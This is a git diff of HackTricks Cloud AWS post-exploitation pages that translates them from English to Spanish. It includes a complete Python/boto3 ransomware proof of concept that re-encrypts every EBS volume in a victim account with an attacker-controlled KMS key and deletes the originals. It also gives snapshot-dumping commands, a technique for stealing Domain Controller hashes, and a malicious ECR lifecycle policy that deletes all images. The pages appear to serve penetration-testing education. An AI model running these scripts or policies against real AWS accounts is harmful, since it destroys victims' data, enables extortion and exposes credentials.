+} +} +} +] } ``` - -The key policy rule needs the following enabled to allow for the ability to use it to encrypt an EBS volume: +La regla de la política de clave necesita que se habiliten lo siguiente para permitir su uso para cifrar un volumen EBS: - `kms:CreateGrant` - `kms:Decrypt` @@ -260,222 +239,214 @@ The key policy rule needs the following enabled to allow for the ability to use - `kms:GenerateDataKeyWithoutPlainText` - `kms:ReEncrypt` -Now with the publicly accessible key to use. We can use a 'victim' account that has some EC2 instances spun up with unencrypted EBS volumes attached. This 'victim' account's EBS volumes are what we're targeting for encryption, this attack is under the assumed breach of a high-privilege AWS account. +Ahora con la clave accesible públicamente para usar. Podemos usar una cuenta de 'víctima' que tenga algunas instancias EC2 activas con volúmenes EBS sin cifrar adjuntos. Los volúmenes EBS de esta cuenta de 'víctima' son nuestro objetivo para el cifrado, este ataque se realiza bajo la suposición de una violación de una cuenta de AWS de alto privilegio. ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459) -Similar to the S3 ransomware example. This attack will create copies of the attached EBS volumes using snapshots, use the publicly available key from the 'attacker' account to encrypt the new EBS volumes, then detach the original EBS volumes from the EC2 instances and delete them, and then finally delete the snapshots used to create the newly encrypted EBS volumes. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) +Similar al ejemplo de ransomware de S3. Este ataque creará copias de los volúmenes EBS adjuntos utilizando instantáneas, usará la clave disponible públicamente de la cuenta de 'atacante' para cifrar los nuevos volúmenes EBS, luego separará los volúmenes EBS originales de las instancias EC2 y los eliminará, y finalmente eliminará las instantáneas utilizadas para crear los nuevos volúmenes EBS cifrados. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) -This results in only encrypted EBS volumes left available in the account. +Esto resulta en que solo queden volúmenes EBS cifrados disponibles en la cuenta. ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220) -Also worth noting, the script stopped the EC2 instances to detach and delete the original EBS volumes. The original unencrypted volumes are gone now. +También vale la pena mencionar que el script detuvo las instancias EC2 para separar y eliminar los volúmenes EBS originales. Los volúmenes originales sin cifrar ya no están. ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e) -Next, return to the key policy in the 'attacker' account and remove the 'Outside Encryption' policy rule from the key policy. - +A continuación, regrese a la política de clave en la cuenta de 'atacante' y elimine la regla de política 'Cifrado Externo' de la política de clave. ```json { - "Version": "2012-10-17", - "Id": "key-consolepolicy-3", - "Statement": [ - { - "Sid": "Enable IAM User Permissions", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:root" - }, - "Action": "kms:*", - "Resource": "*" - }, - { - "Sid": "Allow access for Key Administrators", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" - }, - "Action": [ - "kms:Create*", - "kms:Describe*", - "kms:Enable*", - "kms:List*", - "kms:Put*", - "kms:Update*", - "kms:Revoke*", - "kms:Disable*", - "kms:Get*", - "kms:Delete*", - "kms:TagResource", - "kms:UntagResource", - "kms:ScheduleKeyDeletion", - "kms:CancelKeyDeletion" - ], - "Resource": "*" - }, - { - "Sid": "Allow use of the key", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" - }, - "Action": [ - "kms:Encrypt", - "kms:Decrypt", - "kms:ReEncrypt*", - "kms:GenerateDataKey*", - "kms:DescribeKey" - ], - "Resource": "*" - }, - { - "Sid": "Allow attachment of persistent resources", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" - }, - "Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"], - "Resource": "*", - "Condition": { - "Bool": { - "kms:GrantIsForAWSResource": "true" - } - } - } - ] +"Version": "2012-10-17", +"Id": "key-consolepolicy-3", +"Statement": [ +{ +"Sid": "Enable IAM User Permissions", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:root" +}, +"Action": "kms:*", +"Resource": "*" +}, +{ +"Sid": "Allow access for Key Administrators", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" +}, +"Action": [ +"kms:Create*", +"kms:Describe*", +"kms:Enable*", +"kms:List*", +"kms:Put*", +"kms:Update*", +"kms:Revoke*", +"kms:Disable*", +"kms:Get*", +"kms:Delete*", +"kms:TagResource", +"kms:UntagResource", +"kms:ScheduleKeyDeletion", +"kms:CancelKeyDeletion" +], +"Resource": "*" +}, +{ +"Sid": "Allow use of the key", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" +}, +"Action": [ +"kms:Encrypt", +"kms:Decrypt", +"kms:ReEncrypt*", +"kms:GenerateDataKey*", +"kms:DescribeKey" +], +"Resource": "*" +}, +{ +"Sid": "Allow attachment of persistent resources", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" +}, +"Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"], +"Resource": "*", +"Condition": { +"Bool": { +"kms:GrantIsForAWSResource": "true" +} +} +} +] } ``` - -Wait a moment for the newly set key policy to propagate. Then return to the 'victim' account and attempt to attach one of the newly encrypted EBS volumes. You'll find that you can attach the volume. +Espera un momento para que la nueva política de claves se propague. Luego regresa a la cuenta de 'la víctima' e intenta adjuntar uno de los volúmenes EBS recién cifrados. Descubrirás que puedes adjuntar el volumen. ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4) -But when you attempt to actually start the EC2 instance back up with the encrypted EBS volume it'll just fail and go from the 'pending' state back to the 'stopped' state forever since the attached EBS volume can't be decrypted using the key since the key policy no longer allows it. +Pero cuando intentes reiniciar la instancia EC2 con el volumen EBS cifrado, simplemente fallará y volverá del estado 'pendiente' al estado 'detenido' para siempre, ya que el volumen EBS adjunto no puede ser descifrado usando la clave, ya que la política de claves ya no lo permite. ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0) -This the python script used. It takes AWS creds for a 'victim' account and a publicly available AWS ARN value for the key to be used for encryption. The script will make encrypted copies of ALL available EBS volumes attached to ALL EC2 instances in the targeted AWS account, then stop every EC2 instance, detach the original EBS volumes, delete them, and finally delete all the snapshots utilized during the process. This will leave only encrypted EBS volumes in the targeted 'victim' account. ONLY USE THIS SCRIPT IN A TEST ENVIRONMENT, IT IS DESTRUCTIVE AND WILL DELETE ALL THE ORIGINAL EBS VOLUMES. You can recover them using the utilized KMS key and restore them to their original state via snapshots, but just want to make you aware that this is a ransomware PoC at the end of the day. - +Este es el script de python utilizado. Toma credenciales de AWS para una cuenta de 'la víctima' y un valor ARN de AWS disponible públicamente para la clave que se utilizará para el cifrado. El script hará copias cifradas de TODOS los volúmenes EBS disponibles adjuntos a TODAS las instancias EC2 en la cuenta de AWS objetivo, luego detendrá cada instancia EC2, desacoplará los volúmenes EBS originales, los eliminará y finalmente eliminará todos los snapshots utilizados durante el proceso. Esto dejará solo volúmenes EBS cifrados en la cuenta de 'la víctima' objetivo. SOLO UTILIZA ESTE SCRIPT EN UN ENTORNO DE PRUEBA, ES DESTRUCTIVO Y ELIMINARÁ TODOS LOS VOLUMENES EBS ORIGINALES. Puedes recuperarlos usando la clave KMS utilizada y restaurarlos a su estado original a través de snapshots, pero solo quiero hacerte consciente de que esto es una prueba de concepto de ransomware al final del día. ``` import boto3 import argparse from botocore.exceptions import ClientError def enumerate_ec2_instances(ec2_client): - instances = ec2_client.describe_instances() - instance_volumes = {} - for reservation in instances['Reservations']: - for instance in reservation['Instances']: - instance_id = instance['InstanceId'] - volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol] - instance_volumes[instance_id] = volumes - return instance_volumes +instances = ec2_client.describe_instances() +instance_volumes = {} +for reservation in instances['Reservations']: +for instance in reservation['Instances']: +instance_id = instance['InstanceId'] +volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol] +instance_volumes[instance_id] = volumes +return instance_volumes def snapshot_volumes(ec2_client, volumes): - snapshot_ids = [] - for volume_id in volumes: - snapshot = ec2_client.create_snapshot(VolumeId=volume_id) - snapshot_ids.append(snapshot['SnapshotId']) - return snapshot_ids +snapshot_ids = [] +for volume_id in volumes: +snapshot = ec2_client.create_snapshot(VolumeId=volume_id) +snapshot_ids.append(snapshot['SnapshotId']) +return snapshot_ids def wait_for_snapshots(ec2_client, snapshot_ids): - for snapshot_id in snapshot_ids: - ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id]) +for snapshot_id in snapshot_ids: +ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id]) def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn): - new_volume_ids = [] - for snapshot_id in snapshot_ids: - snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0] - volume_id = snapshot_info['VolumeId'] - volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0] - availability_zone = volume_info['AvailabilityZone'] +new_volume_ids = [] +for snapshot_id in snapshot_ids: +snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0] +volume_id = snapshot_info['VolumeId'] +volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0] +availability_zone = volume_info['AvailabilityZone'] - volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone, - Encrypted=True, KmsKeyId=kms_key_arn) - new_volume_ids.append(volume['VolumeId']) - return new_volume_ids +volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone, +Encrypted=True, KmsKeyId=kms_key_arn) +new_volume_ids.append(volume['VolumeId']) +return new_volume_ids def stop_instances(ec2_client, instance_ids): - for instance_id in instance_ids: - try: - instance_description = ec2_client.describe_instances(InstanceIds=[instance_id]) - instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name'] +for instance_id in instance_ids: +try: +instance_description = ec2_client.describe_instances(InstanceIds=[instance_id]) +instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name'] - if instance_state == 'running': - ec2_client.stop_instances(InstanceIds=[instance_id]) - print(f"Stopping instance: {instance_id}") - ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id]) - print(f"Instance {instance_id} stopped.") - else: - print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).") +if instance_state == 'running': +ec2_client.stop_instances(InstanceIds=[instance_id]) +print(f"Stopping instance: {instance_id}") +ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id]) +print(f"Instance {instance_id} stopped.") +else: +print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).") - except ClientError as e: - print(f"Error stopping instance {instance_id}: {e}") +except ClientError as e: +print(f"Error stopping instance {instance_id}: {e}") def detach_and_delete_volumes(ec2_client, volumes): - for volume_id in volumes: - try: - ec2_client.detach_volume(VolumeId=volume_id) - ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id]) - ec2_client.delete_volume(VolumeId=volume_id) - print(f"Deleted volume: {volume_id}") - except ClientError as e: - print(f"Error detaching or deleting volume {volume_id}: {e}") +for volume_id in volumes: +try: +ec2_client.detach_volume(VolumeId=volume_id) +ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id]) +ec2_client.delete_volume(VolumeId=volume_id) +print(f"Deleted volume: {volume_id}") +except ClientError as e: +print(f"Error detaching or deleting volume {volume_id}: {e}") def delete_snapshots(ec2_client, snapshot_ids): - for snapshot_id in snapshot_ids: - try: - ec2_client.delete_snapshot(SnapshotId=snapshot_id) - print(f"Deleted snapshot: {snapshot_id}") - except ClientError as e: - print(f"Error deleting snapshot {snapshot_id}: {e}") +for snapshot_id in snapshot_ids: +try: +ec2_client.delete_snapshot(SnapshotId=snapshot_id) +print(f"Deleted snapshot: {snapshot_id}") +except ClientError as e: +print(f"Error deleting snapshot {snapshot_id}: {e}") def replace_volumes(ec2_client, instance_volumes): - instance_ids = list(instance_volumes.keys()) - stop_instances(ec2_client, instance_ids) +instance_ids = list(instance_volumes.keys()) +stop_instances(ec2_client, instance_ids) - all_volumes = [vol for vols in instance_volumes.values() for vol in vols] - detach_and_delete_volumes(ec2_client, all_volumes) +all_volumes = [vol for vols in instance_volumes.values() for vol in vols] +detach_and_delete_volumes(ec2_client, all_volumes) def ebs_lock(access_key, secret_key, region, kms_key_arn): - ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region) +ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region) - instance_volumes = enumerate_ec2_instances(ec2_client) - all_volumes = [vol for vols in instance_volumes.values() for vol in vols] - snapshot_ids = snapshot_volumes(ec2_client, all_volumes) - wait_for_snapshots(ec2_client, snapshot_ids) - create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn) # New encrypted volumes are created but not attached - replace_volumes(ec2_client, instance_volumes) # Stops instances, detaches and deletes old volumes - delete_snapshots(ec2_client, snapshot_ids) # Optionally delete snapshots if no longer needed +instance_volumes = enumerate_ec2_instances(ec2_client) +all_volumes = [vol for vols in instance_volumes.values() for vol in vols] +snapshot_ids = snapshot_volumes(ec2_client, all_volumes) +wait_for_snapshots(ec2_client, snapshot_ids) +create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn) # New encrypted volumes are created but not attached +replace_volumes(ec2_client, instance_volumes) # Stops instances, detaches and deletes old volumes +delete_snapshots(ec2_client, snapshot_ids) # Optionally delete snapshots if no longer needed def parse_arguments(): - parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool') - parser.add_argument('--access-key', required=True, help='AWS Access Key ID') - parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key') - parser.add_argument('--region', required=True, help='AWS Region') - parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption') - return parser.parse_args() +parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool') +parser.add_argument('--access-key', required=True, help='AWS Access Key ID') +parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key') +parser.add_argument('--region', required=True, help='AWS Region') +parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption') +return parser.parse_args() def main(): - args = parse_arguments() - ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region) +args = parse_arguments() +ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region) - instance_volumes = enumerate_ec2_instances(ec2_client) - all_volumes = [vol for vols in instance_volumes.values() for vol in vols] - snapshot_ids = snapshot_volumes(ec2_client, all_volumes) - wait_for_snapshots(ec2_client, snapshot_ids) - create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn) - replace_volumes(ec2_client, instance_volumes) - delete_snapshots(ec2_client, snapshot_ids) +instance_volumes = enumerate_ec2_instances(ec2_client) +all_volumes = [vol for vols in instance_volumes.values() for vol in vols] +snapshot_ids = snapshot_volumes(ec2_client, all_volumes) +wait_for_snapshots(ec2_client, snapshot_ids) +create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn) +replace_volumes(ec2_client, instance_volumes) +delete_snapshots(ec2_client, snapshot_ids) if __name__ == "__main__": - main() +main() ``` - {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md index 7a9a19cc4..0d9dbd8c6 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md @@ -2,8 +2,7 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Checking a snapshot locally - +## Comprobando un snapshot localmente ```bash # Install dependencies pip install 'dsnap[cli]' @@ -32,10 +31,8 @@ cd dsnap make docker/build IMAGE=".img" make docker/run #With the snapshot downloaded ``` - > [!CAUTION] -> **Note** that `dsnap` will not allow you to download public snapshots. To circumvent this, you can make a copy of the snapshot in your personal account, and download that: - +> **Nota** que `dsnap` no te permitirá descargar instantáneas públicas. Para eludir esto, puedes hacer una copia de la instantánea en tu cuenta personal y descargar esa: ```bash # Copy the snapshot aws ec2 copy-snapshot --source-region us-east-2 --source-snapshot-id snap-09cf5d9801f231c57 --destination-region us-east-2 --description "copy of snap-09cf5d9801f231c57" @@ -49,59 +46,55 @@ dsnap --region us-east-2 get snap-027da41be451109da # Delete the snapshot after downloading aws ec2 delete-snapshot --snapshot-id snap-027da41be451109da --region us-east-2 ``` +Para más información sobre esta técnica, consulta la investigación original en [https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/](https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/) -For more info on this technique check the original research in [https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/](https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/) - -You can do this with Pacu using the module [ebs\_\_download_snapshots](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#ebs__download_snapshots) - -## Checking a snapshot in AWS +Puedes hacer esto con Pacu usando el módulo [ebs\_\_download_snapshots](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#ebs__download_snapshots) +## Comprobando un snapshot en AWS ```bash aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89 ``` +**Montarlo en una VM de EC2 bajo tu control** (tiene que estar en la misma región que la copia de la copia de seguridad): -**Mount it in a EC2 VM under your control** (it has to be in the same region as the copy of the backup): +Paso 1: Se debe crear un nuevo volumen de tu tamaño y tipo preferido dirigiéndote a EC2 –> Volúmenes. -Step 1: A new volume of your preferred size and type is to be created by heading over to EC2 –> Volumes. +Para poder realizar esta acción, sigue estos comandos: -To be able to perform this action, follow these commands: +- Crea un volumen EBS para adjuntar a la instancia de EC2. +- Asegúrate de que el volumen EBS y la instancia estén en la misma zona. -- Create an EBS volume to attach to the EC2 instance. -- Ensure that the EBS volume and the instance are in the same zone. +Paso 2: Se debe seleccionar la opción "adjuntar volumen" haciendo clic derecho en el volumen creado. -Step 2: The "attach volume" option is to be selected by right-clicking on the created volume. +Paso 3: Se debe seleccionar la instancia del cuadro de texto de la instancia. -Step 3: The instance from the instance text box is to be selected. +Para poder realizar esta acción, utiliza el siguiente comando: -To be able to perform this action, use the following command: +- Adjunta el volumen EBS. -- Attach the EBS volume. +Paso 4: Inicia sesión en la instancia de EC2 y lista los discos disponibles usando el comando `lsblk`. -Step 4: Login to the EC2 instance and list the available disks using the command `lsblk`. +Paso 5: Verifica si el volumen tiene datos usando el comando `sudo file -s /dev/xvdf`. -Step 5: Check if the volume has any data using the command `sudo file -s /dev/xvdf`. +Si la salida del comando anterior muestra "/dev/xvdf: data", significa que el volumen está vacío. -If the output of the above command shows "/dev/xvdf: data", it means the volume is empty. +Paso 6: Formatea el volumen al sistema de archivos ext4 usando el comando `sudo mkfs -t ext4 /dev/xvdf`. Alternativamente, también puedes usar el formato xfs usando el comando `sudo mkfs -t xfs /dev/xvdf`. Ten en cuenta que debes usar ya sea ext4 o xfs. -Step 6: Format the volume to the ext4 filesystem using the command `sudo mkfs -t ext4 /dev/xvdf`. Alternatively, you can also use the xfs format by using the command `sudo mkfs -t xfs /dev/xvdf`. Please note that you should use either ext4 or xfs. +Paso 7: Crea un directorio de tu elección para montar el nuevo volumen ext4. Por ejemplo, puedes usar el nombre "newvolume". -Step 7: Create a directory of your choice to mount the new ext4 volume. For example, you can use the name "newvolume". +Para poder realizar esta acción, utiliza el comando `sudo mkdir /newvolume`. -To be able to perform this action, use the command `sudo mkdir /newvolume`. +Paso 8: Monta el volumen en el directorio "newvolume" usando el comando `sudo mount /dev/xvdf /newvolume/`. -Step 8: Mount the volume to the "newvolume" directory using the command `sudo mount /dev/xvdf /newvolume/`. +Paso 9: Cambia al directorio "newvolume" y verifica el espacio en disco para validar el montaje del volumen. -Step 9: Change directory to the "newvolume" directory and check the disk space to validate the volume mount. +Para poder realizar esta acción, utiliza los siguientes comandos: -To be able to perform this action, use the following commands: +- Cambia al directorio `/newvolume`. +- Verifica el espacio en disco usando el comando `df -h .`. La salida de este comando debería mostrar el espacio libre en el directorio "newvolume". -- Change directory to `/newvolume`. -- Check the disk space using the command `df -h .`. The output of this command should show the free space in the "newvolume" directory. - -You can do this with Pacu using the module `ebs__explore_snapshots`. - -## Checking a snapshot in AWS (using cli) +Puedes hacer esto con Pacu usando el módulo `ebs__explore_snapshots`. +## Comprobando un snapshot en AWS (usando cli) ```bash aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id @@ -127,19 +120,14 @@ sudo mount /dev/xvdh1 /mnt ls /mnt ``` - ## Shadow Copy -Any AWS user possessing the **`EC2:CreateSnapshot`** permission can steal the hashes of all domain users by creating a **snapshot of the Domain Controller** mounting it to an instance they control and **exporting the NTDS.dit and SYSTEM** registry hive file for use with Impacket's secretsdump project. +Cualquier usuario de AWS que posea el **`EC2:CreateSnapshot`** permiso puede robar los hashes de todos los usuarios del dominio creando un **snapshot del Controlador de Dominio**, montándolo en una instancia que controlan y **exportando el NTDS.dit y el archivo del registro SYSTEM** para su uso con el proyecto secretsdump de Impacket. -You can use this tool to automate the attack: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) or you could use one of the previous techniques after creating a snapshot. +Puedes usar esta herramienta para automatizar el ataque: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) o podrías usar una de las técnicas anteriores después de crear un snapshot. ## References - [https://devopscube.com/mount-ebs-volume-ec2-instance/](https://devopscube.com/mount-ebs-volume-ec2-instance/) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md index eb3b5f33f..b44b377e8 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md @@ -4,16 +4,12 @@ **Check** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **for further details of the attack!** -Passive network inspection in a cloud environment has been **challenging**, requiring major configuration changes to monitor network traffic. However, a new feature called “**VPC Traffic Mirroring**” has been introduced by AWS to simplify this process. With VPC Traffic Mirroring, network traffic within VPCs can be **duplicated** without installing any software on the instances themselves. This duplicated traffic can be sent to a network intrusion detection system (IDS) for **analysis**. +La inspección pasiva de redes en un entorno de nube ha sido **desafiante**, requiriendo cambios de configuración importantes para monitorear el tráfico de red. Sin embargo, se ha introducido una nueva característica llamada “**VPC Traffic Mirroring**” por AWS para simplificar este proceso. Con VPC Traffic Mirroring, el tráfico de red dentro de las VPC puede ser **duplicado** sin instalar ningún software en las instancias mismas. Este tráfico duplicado puede ser enviado a un sistema de detección de intrusiones en la red (IDS) para **análisis**. -To address the need for **automated deployment** of the necessary infrastructure for mirroring and exfiltrating VPC traffic, we have developed a proof-of-concept script called “**malmirror**”. This script can be used with **compromised AWS credentials** to set up mirroring for all supported EC2 instances in a target VPC. It is important to note that VPC Traffic Mirroring is only supported by EC2 instances powered by the AWS Nitro system, and the VPC mirror target must be within the same VPC as the mirrored hosts. +Para abordar la necesidad de **despliegue automatizado** de la infraestructura necesaria para la duplicación y exfiltración del tráfico de VPC, hemos desarrollado un script de prueba de concepto llamado “**malmirror**”. Este script puede ser utilizado con **credenciales de AWS comprometidas** para configurar la duplicación para todas las instancias EC2 soportadas en una VPC objetivo. Es importante notar que VPC Traffic Mirroring solo es soportado por instancias EC2 alimentadas por el sistema AWS Nitro, y el objetivo del espejo VPC debe estar dentro de la misma VPC que los hosts duplicados. -The **impact** of malicious VPC traffic mirroring can be significant, as it allows attackers to access **sensitive information** transmitted within VPCs. The **likelihood** of such malicious mirroring is high, considering the presence of **cleartext traffic** flowing through VPCs. Many companies use cleartext protocols within their internal networks for **performance reasons**, assuming traditional man-in-the-middle attacks are not possible. +El **impacto** de la duplicación maliciosa del tráfico de VPC puede ser significativo, ya que permite a los atacantes acceder a **información sensible** transmitida dentro de las VPC. La **probabilidad** de tal duplicación maliciosa es alta, considerando la presencia de **tráfico en texto claro** fluyendo a través de las VPC. Muchas empresas utilizan protocolos en texto claro dentro de sus redes internas por **razones de rendimiento**, asumiendo que los ataques tradicionales de hombre en el medio no son posibles. -For more information and access to the [**malmirror script**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror), it can be found on our **GitHub repository**. The script automates and streamlines the process, making it **quick, simple, and repeatable** for offensive research purposes. +Para más información y acceso al [**script malmirror**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror), se puede encontrar en nuestro **repositorio de GitHub**. El script automatiza y agiliza el proceso, haciéndolo **rápido, simple y repetible** para fines de investigación ofensiva. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md index a971ea769..32710f5f2 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md @@ -1,17 +1,16 @@ -# AWS - ECR Post Exploitation +# AWS - ECR Post Explotación {{#include ../../../banners/hacktricks-training.md}} ## ECR -For more information check +Para más información consulta {{#ref}} ../aws-services/aws-ecr-enum.md {{#endref}} -### Login, Pull & Push - +### Iniciar sesión, Descargar y Subir ```bash # Docker login into ecr ## For public repo (always use us-east-1) @@ -38,17 +37,16 @@ docker push .dkr.ecr..amazonaws.com/purplepanda:latest # Downloading without Docker # List digests aws ecr batch-get-image --repository-name level2 \ - --registry-id 653711331788 \ - --image-ids imageTag=latest | jq '.images[].imageManifest | fromjson' +--registry-id 653711331788 \ +--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson' ## Download a digest aws ecr get-download-url-for-layer \ - --repository-name level2 \ - --registry-id 653711331788 \ - --layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a" +--repository-name level2 \ +--registry-id 653711331788 \ +--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a" ``` - -After downloading the images you should **check them for sensitive info**: +Después de descargar las imágenes, debes **verificarlas en busca de información sensible**: {{#ref}} https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics @@ -56,25 +54,24 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m ### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage` -An attacker with any of these permissions can **create or modify a lifecycle policy to delete all images in the repository** and then **delete the entire ECR repository**. This would result in the loss of all container images stored in the repository. - +Un atacante con cualquiera de estos permisos puede **crear o modificar una política de ciclo de vida para eliminar todas las imágenes en el repositorio** y luego **eliminar todo el repositorio de ECR**. Esto resultaría en la pérdida de todas las imágenes de contenedor almacenadas en el repositorio. ```bash bashCopy code# Create a JSON file with the malicious lifecycle policy echo '{ - "rules": [ - { - "rulePriority": 1, - "description": "Delete all images", - "selection": { - "tagStatus": "any", - "countType": "imageCountMoreThan", - "countNumber": 0 - }, - "action": { - "type": "expire" - } - } - ] +"rules": [ +{ +"rulePriority": 1, +"description": "Delete all images", +"selection": { +"tagStatus": "any", +"countType": "imageCountMoreThan", +"countNumber": 0 +}, +"action": { +"type": "expire" +} +} +] }' > malicious_policy.json # Apply the malicious lifecycle policy to the ECR repository @@ -92,9 +89,4 @@ aws ecr batch-delete-image --repository-name 